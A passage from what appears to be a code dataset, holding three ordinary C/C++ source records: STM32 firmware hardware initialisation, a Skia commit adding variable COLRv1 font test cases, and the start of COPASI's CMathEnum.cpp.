Initialize the processor hardware.\n *\n * Don't depend on runtime-initialized global variables\n * in this function; these will be initialized after\n * hw_preinit in startup.c.\n *\/\nvoid hw_preinit(void)\n{\n \/* Globally disables interrupts until the FreeRTOS scheduler is up. *\/\n asm(\"cpsid i\\n\");\n\n \/* these FLASH settings enable opertion at 48 MHz *\/\n __HAL_FLASH_PREFETCH_BUFFER_ENABLE();\n __HAL_FLASH_SET_LATENCY(FLASH_LATENCY_1);\n\n \/* setup the system clock *\/\n clock_setup();\n\n \/* enable peripheral clocks *\/\n __HAL_RCC_GPIOA_CLK_ENABLE();\n __HAL_RCC_GPIOB_CLK_ENABLE();\n __HAL_RCC_GPIOC_CLK_ENABLE();\n __HAL_RCC_GPIOD_CLK_ENABLE();\n __HAL_RCC_GPIOF_CLK_ENABLE();\n __HAL_RCC_USART2_CLK_ENABLE();\n __HAL_RCC_CAN1_CLK_ENABLE();\n __HAL_RCC_TIM14_CLK_ENABLE();\n __HAL_RCC_TIM3_CLK_ENABLE();\n\n \/* setup pinmux *\/\n GPIO_InitTypeDef gpio_init;\n memset(&gpio_init, 0, sizeof(gpio_init));\n\n \/* USART2 pinmux on PA2 and PA3 *\/\n gpio_init.Mode = GPIO_MODE_AF_PP;\n gpio_init.Pull = GPIO_PULLUP;\n gpio_init.Speed = GPIO_SPEED_FREQ_HIGH;\n gpio_init.Alternate = GPIO_AF1_USART2;\n gpio_init.Pin = GPIO_PIN_2;\n HAL_GPIO_Init(GPIOA, &gpio_init);\n gpio_init.Pin = GPIO_PIN_3;\n HAL_GPIO_Init(GPIOA, &gpio_init);\n\n \/* CAN pinmux on PB8 and PB9 *\/\n gpio_init.Mode = GPIO_MODE_AF_PP;\n \/\/ Disables pull-ups because this is a 5V tolerant pin.\n gpio_init.Pull = GPIO_NOPULL;\n gpio_init.Speed = GPIO_SPEED_FREQ_HIGH;\n gpio_init.Alternate = GPIO_AF4_CAN;\n gpio_init.Pin = GPIO_PIN_8;\n HAL_GPIO_Init(GPIOB, &gpio_init);\n gpio_init.Pin = GPIO_PIN_9;\n HAL_GPIO_Init(GPIOB, &gpio_init);\n\n \/* SPI1 pinmux on PB3, PB4, and PB5 *\/\n gpio_init.Mode = GPIO_MODE_AF_PP;\n gpio_init.Pull = GPIO_NOPULL;\n gpio_init.Speed = GPIO_SPEED_FREQ_HIGH;\n gpio_init.Alternate = GPIO_AF0_SPI1;\n gpio_init.Pin = GPIO_PIN_3;\n HAL_GPIO_Init(GPIOB, &gpio_init);\n gpio_init.Pin = GPIO_PIN_4;\n HAL_GPIO_Init(GPIOB, &gpio_init);\n gpio_init.Pin = GPIO_PIN_5;\n HAL_GPIO_Init(GPIOB, &gpio_init);\n\n \/* SPI2 pinmux on PC2 (MISO2), and PB10 (SCK) *\/\n gpio_init.Mode = GPIO_MODE_AF_PP;\n gpio_init.Pull = GPIO_NOPULL;\n gpio_init.Speed = GPIO_SPEED_FREQ_HIGH;\n gpio_init.Alternate = GPIO_AF5_SPI2;\n gpio_init.Pin = GPIO_PIN_10;\n HAL_GPIO_Init(GPIOB, &gpio_init);\n gpio_init.Alternate = GPIO_AF1_SPI2;\n gpio_init.Pin = GPIO_PIN_2;\n HAL_GPIO_Init(GPIOC, &gpio_init);\n \n GpioInit::hw_init();\n\n\n \/\/ Switches over servo timer pins to timer mode.\n \/\/ PC6-7-8-9\n gpio_init.Mode = GPIO_MODE_AF_PP;\n gpio_init.Pull = GPIO_NOPULL;\n gpio_init.Speed = GPIO_SPEED_FREQ_HIGH;\n gpio_init.Alternate = GPIO_AF0_TIM3;\n gpio_init.Pin = GPIO_PIN_6;\n HAL_GPIO_Init(GPIOC, &gpio_init);\n gpio_init.Pin = GPIO_PIN_7;\n HAL_GPIO_Init(GPIOC, &gpio_init);\n gpio_init.Pin = GPIO_PIN_8;\n HAL_GPIO_Init(GPIOC, &gpio_init);\n gpio_init.Pin = GPIO_PIN_9;\n HAL_GPIO_Init(GPIOC, &gpio_init);\n\n \/* Initializes the blinker timer. *\/\n TIM_HandleTypeDef TimHandle;\n memset(&TimHandle, 0, sizeof(TimHandle));\n TimHandle.Instance = TIM14;\n TimHandle.Init.Period = configCPU_CLOCK_HZ \/ 10000 \/ 8;\n TimHandle.Init.Prescaler = 10000;\n TimHandle.Init.ClockDivision = 0;\n TimHandle.Init.CounterMode = TIM_COUNTERMODE_UP;\n TimHandle.Init.RepetitionCounter = 0;\n if (HAL_TIM_Base_Init(&TimHandle) != HAL_OK)\n {\n \/* Initialization Error *\/\n HASSERT(0);\n }\n if (HAL_TIM_Base_Start_IT(&TimHandle) != HAL_OK)\n {\n \/* Starting Error *\/\n HASSERT(0);\n }\n __HAL_DBGMCU_FREEZE_TIM14();\n NVIC_SetPriority(TIM14_IRQn, 0);\n NVIC_EnableIRQ(TIM14_IRQn);\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2021 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"gm\/gm.h\"\n#include \"include\/core\/SkCanvas.h\"\n#include \"include\/core\/SkColor.h\"\n#include \"include\/core\/SkFont.h\"\n#include \"include\/core\/SkFontMetrics.h\"\n#include \"include\/core\/SkGraphics.h\"\n#include \"include\/core\/SkPaint.h\"\n#include \"include\/core\/SkRefCnt.h\"\n#include \"include\/core\/SkScalar.h\"\n#include \"include\/core\/SkSize.h\"\n#include \"include\/core\/SkString.h\"\n#include \"include\/core\/SkTypeface.h\"\n#include \"tools\/Resources.h\"\n#include \"tools\/ToolUtils.h\"\n\n#include <string.h>\n#include <initializer_list>\n\nnamespace skiagm {\n\nnamespace {\nconst SkScalar kTextSizes[] = {12, 18, 30, 120};\nconst char kTestFontName[] = \"fonts\/test_glyphs-glyf_colr_1.ttf\";\nconst char kTestFontNameVariable[] = \"fonts\/test_glyphs-glyf_colr_1_variable.ttf\";\nconst SkScalar xWidth = 1200;\nconst SkScalar xTranslate = 200;\n}\n\nclass ColrV1GM : public GM {\npublic:\n ColrV1GM(const char* testName,\n SkSpan<const uint32_t> codepoints,\n SkScalar skewX,\n SkScalar rotateDeg,\n std::initializer_list<SkFontArguments::VariationPosition::Coordinate>\n specifiedVariations)\n : fTestName(testName)\n , fCodepoints(codepoints)\n , fSkewX(skewX)\n , fRotateDeg(rotateDeg) {\n fVariationPosition.coordinateCount = specifiedVariations.size();\n fCoordinates = std::make_unique<SkFontArguments::VariationPosition::Coordinate[]>(\n specifiedVariations.size());\n for (size_t i = 0; i < specifiedVariations.size(); ++i) {\n fCoordinates[i] = std::data(specifiedVariations)[i];\n }\n\n fVariationPosition.coordinates = fCoordinates.get();\n }\n\nprotected:\n void onOnceBeforeDraw() override {\n if (fVariationPosition.coordinateCount) {\n fTypeface = MakeResourceAsTypeface(kTestFontNameVariable);\n } else {\n fTypeface = MakeResourceAsTypeface(kTestFontName);\n }\n fVariationSliders = ToolUtils::VariationSliders(fTypeface.get(), fVariationPosition);\n }\n\n SkString onShortName() override {\n SkASSERT(!fTestName.isEmpty());\n SkString gm_name = SkStringPrintf(\"colrv1_%s\", fTestName.c_str());\n\n if (fSkewX) {\n gm_name.append(SkStringPrintf(\"_skew_%.2f\", fSkewX));\n }\n\n if (fRotateDeg) {\n gm_name.append(SkStringPrintf(\"_rotate_%.2f\", fRotateDeg));\n }\n\n for (int i = 0; i < fVariationPosition.coordinateCount; ++i) {\n SkString tagName = ToolUtils::VariationSliders::tagToString(\n fVariationPosition.coordinates[i].axis);\n gm_name.append(SkStringPrintf(\n \"_%s_%.2f\", tagName.c_str(), fVariationPosition.coordinates[i].value));\n }\n\n return gm_name;\n }\n\n bool onGetControls(SkMetaData* controls) override {\n return fVariationSliders.writeControls(controls);\n }\n\n void onSetControls(const SkMetaData& controls) override {\n return fVariationSliders.readControls(controls);\n }\n\n SkISize onISize() override {\n return SkISize::Make(xWidth, xWidth);\n }\n\n sk_sp<SkTypeface> makeVariedTypeface() {\n if (!fTypeface) {\n return nullptr;\n }\n SkSpan<const SkFontArguments::VariationPosition::Coordinate> coords =\n fVariationSliders.getCoordinates();\n SkFontArguments::VariationPosition varPos = {coords.data(),\n static_cast<int>(coords.size())};\n SkFontArguments args;\n args.setVariationDesignPosition(varPos);\n return fTypeface->makeClone(args);\n }\n\n DrawResult onDraw(SkCanvas* canvas, SkString* errorMsg) override {\n canvas->drawColor(SK_ColorWHITE);\n SkPaint paint;\n\n canvas->translate(xTranslate, 20);\n\n if (!fTypeface) {\n *errorMsg = \"Did not recognize COLR v1 font format.\";\n return DrawResult::kSkip;\n }\n\n canvas->rotate(fRotateDeg);\n canvas->skew(fSkewX, 0);\n\n SkFont font(makeVariedTypeface());\n\n SkFontMetrics metrics;\n SkScalar y = 0;\n std::vector<SkColor> paint_colors = {\n SK_ColorBLACK, SK_ColorGREEN, SK_ColorRED, SK_ColorBLUE};\n auto paint_color_iterator = paint_colors.begin();\n for (SkScalar textSize : kTextSizes) {\n font.setSize(textSize);\n font.getMetrics(&metrics);\n SkScalar y_shift = -(metrics.fAscent + metrics.fDescent + metrics.fLeading) * 1.2;\n y += y_shift;\n paint.setColor(*paint_color_iterator);\n int x = 0;\n \/\/ Perform simple line breaking to fit more glyphs into the GM canvas.\n for (size_t i = 0; i < fCodepoints.size(); ++i) {\n canvas->drawSimpleText(&fCodepoints[i],\n sizeof(uint32_t),\n SkTextEncoding::kUTF32,\n x,\n y,\n font,\n paint);\n SkScalar glyphAdvance = font.measureText(\n &fCodepoints[i], sizeof(uint32_t), SkTextEncoding::kUTF32, nullptr);\n if (x + glyphAdvance < xWidth - xTranslate) {\n x += glyphAdvance + glyphAdvance * 0.05f;\n } else {\n y += y_shift;\n x = 0;\n }\n }\n paint_color_iterator++;\n }\n return DrawResult::kOk;\n }\n\nprivate:\n using INHERITED = GM;\n\n SkString fTestName;\n sk_sp<SkTypeface> fTypeface;\n SkSpan<const uint32_t> fCodepoints;\n SkScalar fSkewX;\n SkScalar fRotateDeg;\n std::unique_ptr<SkFontArguments::VariationPosition::Coordinate[]> fCoordinates;\n SkFontArguments::VariationPosition fVariationPosition;\n ToolUtils::VariationSliders fVariationSliders;\n};\n\n\/\/ Generated using test glyphs generator script from https:\/\/github.com\/googlefonts\/color-fonts:\n\/\/ $ python3 config\/test_glyphs-glyf_colr_1.py -vvv --generate-descriptions fonts\/\n\/\/ Regenerate descriptions and paste the generated arrays here when updating the test font.\nnamespace ColrV1TestDefinitions {\nconst uint32_t gradient_stops_repeat[] = {0xf0100, 0xf0101, 0xf0102, 0xf0103};\nconst uint32_t sweep_varsweep[] = {0xf0200, 0xf0201, 0xf0202, 0xf0203, 0xf0204, 0xf0205,\n 0xf0206, 0xf0207, 0xf0208, 0xf0209, 0xf020a, 0xf020b,\n 0xf020c, 0xf020d, 0xf020e, 0xf020f, 0xf0210, 0xf0211,\n 0xf0212, 0xf0213, 0xf0214, 0xf0215, 0xf0216, 0xf0217};\nconst uint32_t paint_scale[] = {0xf0300, 0xf0301, 0xf0302, 0xf0303, 0xf0304, 0xf0305};\nconst uint32_t extend_mode[] = {0xf0500, 0xf0501, 0xf0502, 0xf0503, 0xf0504, 0xf0505};\nconst uint32_t paint_rotate[] = {0xf0600, 0xf0601, 0xf0602, 0xf0603};\nconst uint32_t paint_skew[] = {0xf0700, 0xf0701, 0xf0702, 0xf0703, 0xf0704, 0xf0705};\nconst uint32_t paint_transform[] = {0xf0800, 0xf0801, 0xf0802, 0xf0803};\nconst uint32_t paint_translate[] = {0xf0900, 0xf0901, 0xf0902, 0xf0903, 0xf0904, 0xf0905, 0xf0906};\nconst uint32_t composite_mode[] = {0xf0a00, 0xf0a01, 0xf0a02, 0xf0a03, 0xf0a04, 0xf0a05, 0xf0a06,\n 0xf0a07, 0xf0a08, 0xf0a09, 0xf0a0a, 0xf0a0b, 0xf0a0c, 0xf0a0d,\n 0xf0a0e, 0xf0a0f, 0xf0a10, 0xf0a11, 0xf0a12, 0xf0a13, 0xf0a14,\n 0xf0a15, 0xf0a16, 0xf0a17, 0xf0a18, 0xf0a19, 0xf0a1a, 0xf0a1b};\nconst uint32_t foreground_color[] = {\n 0xf0b00, 0xf0b01, 0xf0b02, 0xf0b03, 0xf0b04, 0xf0b05, 0xf0b06, 0xf0b07};\nconst uint32_t clipbox[] = {0xf0c00, 0xf0c01, 0xf0c02, 0xf0c03, 0xf0c04};\nconst uint32_t gradient_p2_skewed[] = {0xf0d00};\nconst uint32_t variable_alpha[] = {0xf1000};\n}; \/\/ namespace ColrV1TestDefinitions\n\nnamespace {\nstd::unique_ptr<ColrV1GM> F(\n const char* name,\n SkSpan<const uint32_t> codepoints,\n SkScalar skewX,\n SkScalar rotateDeg,\n std::initializer_list<SkFontArguments::VariationPosition::Coordinate> variations)\n{\n return std::make_unique<ColrV1GM>(name, codepoints, skewX, rotateDeg, variations);\n}\n\nSkFourByteTag constexpr operator \"\" _t(const char* tagName, size_t size) {\n SkASSERT(size == 4);\n return SkSetFourByteTag(tagName[0], tagName[1], tagName[2], tagName[3]);\n}\n}\n#define C(TEST_CATEGORY) #TEST_CATEGORY, ColrV1TestDefinitions::TEST_CATEGORY\nDEF_GM(return F(C(clipbox), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(clipbox), 0.0f, 0.0f, {{\"CLIO\"_t, 200}}))\nDEF_GM(return F(C(composite_mode), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(composite_mode), -0.5f, 0.0f, {}))\nDEF_GM(return F(C(composite_mode), -0.5f, 20.0f, {}))\nDEF_GM(return F(C(composite_mode), 0.0f, 20.0f, {}))\nDEF_GM(return F(C(extend_mode), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(extend_mode), -0.5f, 0.0f, {}))\nDEF_GM(return F(C(extend_mode), -0.5f, 20.0f, {}))\nDEF_GM(return F(C(extend_mode), 0.0f, 20.0f, {}))\nDEF_GM(return F(C(foreground_color), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(gradient_p2_skewed), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(gradient_stops_repeat), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(gradient_stops_repeat), -0.5f, 0.0f, {}))\nDEF_GM(return F(C(gradient_stops_repeat), -0.5f, 20.0f, {}))\nDEF_GM(return F(C(gradient_stops_repeat), 0.0f, 20.0f, {}))\nDEF_GM(return F(C(paint_rotate), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(paint_scale), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(paint_skew), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(paint_transform), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(paint_translate), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(sweep_varsweep), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(sweep_varsweep), -0.5f, 0.0f, {}))\nDEF_GM(return F(C(sweep_varsweep), -0.5f, 20.0f, {}))\nDEF_GM(return F(C(sweep_varsweep), 0.0f, 20.0f, {}))\nDEF_GM(return F(C(variable_alpha), 0.0f, 0.0f, {}))\n\n} \/\/ namespace skiagm\n<commit_msg>Define a set of variable COLRv1 variations tests<commit_after>\/*\n * Copyright 2021 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"gm\/gm.h\"\n#include \"include\/core\/SkCanvas.h\"\n#include \"include\/core\/SkColor.h\"\n#include \"include\/core\/SkFont.h\"\n#include \"include\/core\/SkFontMetrics.h\"\n#include \"include\/core\/SkGraphics.h\"\n#include \"include\/core\/SkPaint.h\"\n#include \"include\/core\/SkRefCnt.h\"\n#include \"include\/core\/SkScalar.h\"\n#include \"include\/core\/SkSize.h\"\n#include \"include\/core\/SkString.h\"\n#include \"include\/core\/SkTypeface.h\"\n#include \"tools\/Resources.h\"\n#include \"tools\/ToolUtils.h\"\n\n#include <string.h>\n#include <initializer_list>\n\nnamespace skiagm {\n\nnamespace {\nconst SkScalar kTextSizes[] = {12, 18, 30, 120};\nconst char kTestFontName[] = \"fonts\/test_glyphs-glyf_colr_1.ttf\";\nconst char kTestFontNameVariable[] = \"fonts\/test_glyphs-glyf_colr_1_variable.ttf\";\nconst SkScalar xWidth = 1200;\nconst SkScalar xTranslate = 200;\n}\n\nclass ColrV1GM : public GM {\npublic:\n ColrV1GM(const char* testName,\n SkSpan<const uint32_t> codepoints,\n SkScalar skewX,\n SkScalar rotateDeg,\n std::initializer_list<SkFontArguments::VariationPosition::Coordinate>\n specifiedVariations)\n : fTestName(testName)\n , fCodepoints(codepoints)\n , fSkewX(skewX)\n , fRotateDeg(rotateDeg) {\n fVariationPosition.coordinateCount = specifiedVariations.size();\n fCoordinates = std::make_unique<SkFontArguments::VariationPosition::Coordinate[]>(\n specifiedVariations.size());\n for (size_t i = 0; i < specifiedVariations.size(); ++i) {\n fCoordinates[i] = std::data(specifiedVariations)[i];\n }\n\n fVariationPosition.coordinates = fCoordinates.get();\n }\n\nprotected:\n void onOnceBeforeDraw() override {\n if (fVariationPosition.coordinateCount) {\n fTypeface = MakeResourceAsTypeface(kTestFontNameVariable);\n } else {\n fTypeface = MakeResourceAsTypeface(kTestFontName);\n }\n fVariationSliders = ToolUtils::VariationSliders(fTypeface.get(), fVariationPosition);\n }\n\n SkString onShortName() override {\n SkASSERT(!fTestName.isEmpty());\n SkString gm_name = SkStringPrintf(\"colrv1_%s\", fTestName.c_str());\n\n if (fSkewX) {\n gm_name.append(SkStringPrintf(\"_skew_%.2f\", fSkewX));\n }\n\n if (fRotateDeg) {\n gm_name.append(SkStringPrintf(\"_rotate_%.2f\", fRotateDeg));\n }\n\n for (int i = 0; i < fVariationPosition.coordinateCount; ++i) {\n SkString tagName = ToolUtils::VariationSliders::tagToString(\n fVariationPosition.coordinates[i].axis);\n gm_name.append(SkStringPrintf(\n \"_%s_%.2f\", tagName.c_str(), fVariationPosition.coordinates[i].value));\n }\n\n return gm_name;\n }\n\n bool onGetControls(SkMetaData* controls) override {\n return fVariationSliders.writeControls(controls);\n }\n\n void onSetControls(const SkMetaData& controls) override {\n return fVariationSliders.readControls(controls);\n }\n\n SkISize onISize() override {\n return SkISize::Make(xWidth, xWidth);\n }\n\n sk_sp<SkTypeface> makeVariedTypeface() {\n if (!fTypeface) {\n return nullptr;\n }\n SkSpan<const SkFontArguments::VariationPosition::Coordinate> coords =\n fVariationSliders.getCoordinates();\n SkFontArguments::VariationPosition varPos = {coords.data(),\n static_cast<int>(coords.size())};\n SkFontArguments args;\n args.setVariationDesignPosition(varPos);\n return fTypeface->makeClone(args);\n }\n\n DrawResult onDraw(SkCanvas* canvas, SkString* errorMsg) override {\n canvas->drawColor(SK_ColorWHITE);\n SkPaint paint;\n\n canvas->translate(xTranslate, 20);\n\n if (!fTypeface) {\n *errorMsg = \"Did not recognize COLR v1 font format.\";\n return DrawResult::kSkip;\n }\n\n canvas->rotate(fRotateDeg);\n canvas->skew(fSkewX, 0);\n\n SkFont font(makeVariedTypeface());\n\n SkFontMetrics metrics;\n SkScalar y = 0;\n std::vector<SkColor> paint_colors = {\n SK_ColorBLACK, SK_ColorGREEN, SK_ColorRED, SK_ColorBLUE};\n auto paint_color_iterator = paint_colors.begin();\n for (SkScalar textSize : kTextSizes) {\n font.setSize(textSize);\n font.getMetrics(&metrics);\n SkScalar y_shift = -(metrics.fAscent + metrics.fDescent + metrics.fLeading) * 1.2;\n y += y_shift;\n paint.setColor(*paint_color_iterator);\n int x = 0;\n \/\/ Perform simple line breaking to fit more glyphs into the GM canvas.\n for (size_t i = 0; i < fCodepoints.size(); ++i) {\n canvas->drawSimpleText(&fCodepoints[i],\n sizeof(uint32_t),\n SkTextEncoding::kUTF32,\n x,\n y,\n font,\n paint);\n SkScalar glyphAdvance = font.measureText(\n &fCodepoints[i], sizeof(uint32_t), SkTextEncoding::kUTF32, nullptr);\n if (x + glyphAdvance < xWidth - xTranslate) {\n x += glyphAdvance + glyphAdvance * 0.05f;\n } else {\n y += y_shift;\n x = 0;\n }\n }\n paint_color_iterator++;\n }\n return DrawResult::kOk;\n }\n\nprivate:\n using INHERITED = GM;\n\n SkString fTestName;\n sk_sp<SkTypeface> fTypeface;\n SkSpan<const uint32_t> fCodepoints;\n SkScalar fSkewX;\n SkScalar fRotateDeg;\n std::unique_ptr<SkFontArguments::VariationPosition::Coordinate[]> fCoordinates;\n SkFontArguments::VariationPosition fVariationPosition;\n ToolUtils::VariationSliders fVariationSliders;\n};\n\n\/\/ Generated using test glyphs generator script from https:\/\/github.com\/googlefonts\/color-fonts:\n\/\/ $ python3 config\/test_glyphs-glyf_colr_1.py -vvv --generate-descriptions fonts\/\n\/\/ Regenerate descriptions and paste the generated arrays here when updating the test font.\nnamespace ColrV1TestDefinitions {\nconst uint32_t gradient_stops_repeat[] = {0xf0100, 0xf0101, 0xf0102, 0xf0103};\nconst uint32_t sweep_varsweep[] = {0xf0200, 0xf0201, 0xf0202, 0xf0203, 0xf0204, 0xf0205,\n 0xf0206, 0xf0207, 0xf0208, 0xf0209, 0xf020a, 0xf020b,\n 0xf020c, 0xf020d, 0xf020e, 0xf020f, 0xf0210, 0xf0211,\n 0xf0212, 0xf0213, 0xf0214, 0xf0215, 0xf0216, 0xf0217};\nconst uint32_t paint_scale[] = {0xf0300, 0xf0301, 0xf0302, 0xf0303, 0xf0304, 0xf0305};\nconst uint32_t extend_mode[] = {0xf0500, 0xf0501, 0xf0502, 0xf0503, 0xf0504, 0xf0505};\nconst uint32_t paint_rotate[] = {0xf0600, 0xf0601, 0xf0602, 0xf0603};\nconst uint32_t paint_skew[] = {0xf0700, 0xf0701, 0xf0702, 0xf0703, 0xf0704, 0xf0705};\nconst uint32_t paint_transform[] = {0xf0800, 0xf0801, 0xf0802, 0xf0803};\nconst uint32_t paint_translate[] = {0xf0900, 0xf0901, 0xf0902, 0xf0903, 0xf0904, 0xf0905, 0xf0906};\nconst uint32_t composite_mode[] = {0xf0a00, 0xf0a01, 0xf0a02, 0xf0a03, 0xf0a04, 0xf0a05, 0xf0a06,\n 0xf0a07, 0xf0a08, 0xf0a09, 0xf0a0a, 0xf0a0b, 0xf0a0c, 0xf0a0d,\n 0xf0a0e, 0xf0a0f, 0xf0a10, 0xf0a11, 0xf0a12, 0xf0a13, 0xf0a14,\n 0xf0a15, 0xf0a16, 0xf0a17, 0xf0a18, 0xf0a19, 0xf0a1a, 0xf0a1b};\nconst uint32_t foreground_color[] = {\n 0xf0b00, 0xf0b01, 0xf0b02, 0xf0b03, 0xf0b04, 0xf0b05, 0xf0b06, 0xf0b07};\nconst uint32_t clipbox[] = {0xf0c00, 0xf0c01, 0xf0c02, 0xf0c03, 0xf0c04};\nconst uint32_t gradient_p2_skewed[] = {0xf0d00};\nconst uint32_t variable_alpha[] = {0xf1000};\n}; \/\/ namespace ColrV1TestDefinitions\n\nnamespace {\nstd::unique_ptr<ColrV1GM> F(\n const char* name,\n SkSpan<const uint32_t> codepoints,\n SkScalar skewX,\n SkScalar rotateDeg,\n std::initializer_list<SkFontArguments::VariationPosition::Coordinate> variations)\n{\n return std::make_unique<ColrV1GM>(name, codepoints, skewX, rotateDeg, variations);\n}\n\nSkFourByteTag constexpr operator \"\" _t(const char* tagName, size_t size) {\n SkASSERT(size == 4);\n return SkSetFourByteTag(tagName[0], tagName[1], tagName[2], tagName[3]);\n}\n}\n#define C(TEST_CATEGORY) #TEST_CATEGORY, ColrV1TestDefinitions::TEST_CATEGORY\nDEF_GM(return F(C(clipbox), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(clipbox), 0.0f, 0.0f, {{\"CLIO\"_t, 200.f}}))\nDEF_GM(return F(C(composite_mode), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(composite_mode), -0.5f, 0.0f, {}))\nDEF_GM(return F(C(composite_mode), -0.5f, 20.0f, {}))\nDEF_GM(return F(C(composite_mode), 0.0f, 20.0f, {}))\nDEF_GM(return F(C(extend_mode), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(extend_mode), -0.5f, 0.0f, {}))\nDEF_GM(return F(C(extend_mode), -0.5f, 20.0f, {}))\nDEF_GM(return F(C(extend_mode), 0.0f, 20.0f, {}))\nDEF_GM(return F(C(extend_mode), 0.0f, 0.0f, {{\"COL2\"_t, -0.3f}}))\nDEF_GM(return F(C(extend_mode), 0.0f, 0.0f, {{\"GRR0\"_t, 430.f}, {\"GRR1\"_t, 40.f}}))\nDEF_GM(return F(C(foreground_color), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(gradient_p2_skewed), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(gradient_stops_repeat), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(gradient_stops_repeat), -0.5f, 0.0f, {}))\nDEF_GM(return F(C(gradient_stops_repeat), -0.5f, 20.0f, {}))\nDEF_GM(return F(C(gradient_stops_repeat), 0.0f, 20.0f, {}))\nDEF_GM(return F(C(paint_rotate), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(paint_rotate), 0.0f, 0.0f, {{\"ROTA\"_t, 40.f}}))\nDEF_GM(return F(C(paint_rotate), 0.0f, 0.0f, {{\"ROTX\"_t, -250.f}, {\"ROTY\"_t, -250.f}}))\nDEF_GM(return F(C(paint_scale), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(paint_scale), 0.0f, 0.0f, {{\"SCOX\"_t, 200.f}, {\"SCOY\"_t, 200.f}}))\nDEF_GM(return F(C(paint_scale), 0.0f, 0.0f, {{\"SCSX\"_t, 0.25f}, {\"SCOY\"_t, 0.25f}}))\nDEF_GM(return F(C(paint_scale), 0.0f, 0.0f, {{\"SCSX\"_t, -1.f}, {\"SCOY\"_t, -1.f}}))\nDEF_GM(return F(C(paint_scale), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(paint_scale), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(paint_skew), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(paint_skew), 0.0f, 0.0f, {{\"SKXA\"_t, 20.f}}))\nDEF_GM(return F(C(paint_skew), 0.0f, 0.0f, {{\"SKYA\"_t, 20.f}}))\nDEF_GM(return F(C(paint_skew), 0.0f, 0.0f, {{\"SKCX\"_t, 200.f},{\"SKCY\"_t, 200.f}}))\nDEF_GM(return F(C(paint_transform), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(paint_translate), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(paint_translate), 0.0f, 0.0f, {{\"TLDX\"_t, 100.f}, {\"TLDY\"_t, 100.f}}))\nDEF_GM(return F(C(sweep_varsweep), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(sweep_varsweep), -0.5f, 0.0f, {}))\nDEF_GM(return F(C(sweep_varsweep), -0.5f, 20.0f, {}))\nDEF_GM(return F(C(sweep_varsweep), 0.0f, 20.0f, {}))\nDEF_GM(return F(C(variable_alpha), 0.0f, 0.0f, {}))\nDEF_GM(return F(C(variable_alpha), 0.0f, 0.0f, {{\"APH1\"_t, -0.7f}}))\nDEF_GM(return F(C(variable_alpha), 0.0f, 0.0f, {{\"APH2\"_t, -0.7f}, {\"APH3\"_t, -0.2f}}))\n\n} \/\/ namespace skiagm\n<|endoftext|>"} {"text":"<commit_before>\/\/ Begin CVS Header\n\/\/ $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/math\/CMathEnum.cpp,v $\n\/\/ $Revision: 1.1 $\n\/\/ $Name: $\n\/\/ $Author: shoops $\n\/\/ $Date: 2011\/05\/24 16:32:31 $\n\/\/ End CVS Header\n\n\/\/ Copyright (C) 2011 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc., University of Heidelberg, and The University\n\/\/ of Manchester.\n\/\/ All rights reserved.\n\n#include \"copasi.h\"\n\n#include \"CMathEnum.h\"\n\nCMath::CVariableStack::CVariableStack():\n mpStack(NULL),\n mContext(Body),\n mVariableLevel(C_INVALID_INDEX),\n mBodyLevel(C_INVALID_INDEX)\n{}\n\nCMath::CVariableStack::CVariableStack(CMath::CVariableStack::Buffer & stack):\n mpStack(&stack),\n mContext(Body),\n mVariableLevel(C_INVALID_INDEX),\n mBodyLevel(C_INVALID_INDEX)\n{}\n\nCMath::CVariableStack::CVariableStack(const CMath::CVariableStack & src):\n mpStack(src.mpStack),\n mContext(src.mContext),\n mVariableLevel(src.mVariableLevel),\n mBodyLevel(src.mBodyLevel)\n{}\n\nCMath::CVariableStack::~CVariableStack()\n{}\n\nvoid CMath::CVariableStack::push(const CMath::CVariableStack::StackElement & stackElement)\n{\n mpStack->push_back(stackElement);\n mBodyLevel++;\n}\n\nvoid CMath::CVariableStack::pop()\n{\n mpStack->pop_back();\n mBodyLevel--;\n}\n\nsize_t CMath::CVariableStack::size() const\n{\n return mpStack->size();\n}\n\nconst CEvaluationNode * CMath::CVariableStack::operator [](const size_t & index) const\n{\n size_t Level = C_INVALID_INDEX;\n\n switch (mContext)\n {\n case Variable:\n Level = mVariableLevel;\n break;\n\n case Body:\n Level = mBodyLevel;\n\n break;\n }\n\n assert(Level < mpStack->size());\n assert(index < mpStack->at(Level).size());\n\n return mpStack->at(Level)[index];\n}\n\nstd::ostream & operator << (std::ostream & os, const CMath::CVariableStack & s)\n{\n switch (s.mContext)\n {\n case CMath::CVariableStack::Variable:\n os << \"Context: variable \";\n break;\n\n case CMath::CVariableStack::Body:\n os << \"Context: body \";\n break;\n }\n\n os << \"Variable Level: \" << s.mVariableLevel << \" Body Level: \" << s.mBodyLevel;\n\n return os;\n}\n\nCMath::CAllocationStack::CAllocation::CAllocation():\n nDiscontinuous(0),\n nTotalRoots(0),\n 